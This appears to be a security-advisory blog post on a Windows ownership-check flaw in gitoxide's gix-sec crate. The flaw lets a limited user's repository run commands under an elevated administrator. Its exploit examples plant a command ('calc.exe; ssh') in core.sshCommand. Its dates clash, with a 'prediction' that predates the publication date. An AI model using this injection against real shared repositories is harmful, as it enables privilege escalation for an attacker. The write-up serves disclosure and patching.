Listen to this Post
The vulnerability exists in the `gix-sec` crate, a component of the `gitoxide` project, which is a pure Rust implementation of Git. This crate is responsible for implementing a trust model to determine if a Git repository is safe to operate on, similar to Git’s own `safe.directory` mechanism.
On Unix-like systems, directory ownership is determined by a User ID (UID). On Windows, however, the model is different: directories created by an administrator often default to being owned by the `BUILTIN\Administrators` group, not the specific user account. Git’s security model accounts for this by considering the administrator (when running with elevated privileges) as the owner of such directories.
The flawed logic in gix-sec‘s `is_path_owned_by_current_user` function on Windows attempts to replicate this check. The function correctly identifies the owner of the target directory (folder_owner) and the owner of the running thread or process (token_owner). However, the critical error occurs in the administrator-specific check.
Instead of verifying if the directory’s owner (folder_owner) is the `Administrators` group, the code erroneously checks the process or thread’s owner (token_owner). It uses the `IsWellKnownSid` API call to check if `token_owner` is WinBuiltinAdministratorsSid. On an elevated Windows process, this check will invariably return true.
Subsequently, a `CheckTokenMembership` call is made with a `NULL` token handle, which represents the running thread itself. This check is also destined to return true for an elevated process. The intended logic was likely to check the directory’s owner against the administrator group, but the implementation mistakenly validates the process’s own identity.
The consequence is a complete bypass of the `safe.directory` protections for any process running with full administrative rights (elevated via UAC or with UAC disabled). An attacker with a limited user account can create a malicious Git repository with a configured `core.sshCommand` (or other hook) and place it in a location accessible to the administrator, such as `C:\Users\Public` or even the root of the system drive (C:\). When the administrator runs an affected gitoxide-based tool (like gix fetch) from within that repository’s path, the `gix-sec` trust check fails, the repository is treated as trusted, and the attacker’s configured command is executed with the administrator’s privileges.
DailyCVE Form
Platform: Windows
Version: gix-sec < 0.10.7
Vulnerability: Trust Bypass
Severity: Medium
date: 2026-08-28
Prediction: 2026-04-12
What Undercode Say:
Analytics indicate this is a logic flaw in the Windows-specific ownership check. The core issue is comparing the wrong security identifiers (SIDs), leading to a failure in enforcing `safe.directory` for elevated administrators.
Exploit: (Educational Purposes!)
Example 1: Shared Directory Attack
As a limited user, create a malicious repository in a shared location and configure a payload.
Create and configure the malicious repository git init unsafe-repo cd unsafe-repo git remote add origin ssh://localhost/repo.git git config core.sshCommand 'calc.exe; ssh'
Now, as an elevated administrator, navigate to the repository and execute a command.
Run as Administrator cd C:\Users\Public\unsafe-repo gix fetch This will launch calc.exe as the payload
Example 2: System Drive Root Attack
As a limited user, initialize the root of the system drive as a repository.
Create a .git directory at the system root cd C:\ git init git -c safe.directory=. remote add origin ssh://localhost/repo.git git -c safe.directory=. config core.sshCommand 'calc.exe; ssh'
Now, as an elevated administrator, run `gix fetch` from any directory on the C: drive.
Run as Administrator from any directory on C: cd C:\Users\Administrator\Documents gix fetch This will also launch calc.exe
Protection
- Update
gix-sec: The primary fix is to update to `gix-sec` version 0.10.7 or later, which corrects the ownership check logic. - Avoid UAC Elevation: Running
gitoxide-based tools without administrative elevation (i.e., with a filtered token) is sufficient to avoid this specific vulnerability. - Review Repository Sources: Be cautious when using `gitoxide` tools on repositories that are writable by other users, especially in shared locations or system roots.
Impact
An attacker with a limited user account on a Windows system can achieve arbitrary code execution with the privileges of an elevated administrator. This is possible because the `gix-sec` trust checks are bypassed, causing the application to trust and execute commands from a repository controlled by the attacker. The attack vector is similar to CVE-2022-24765 but exploits a different flaw in the `gix-sec` implementation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
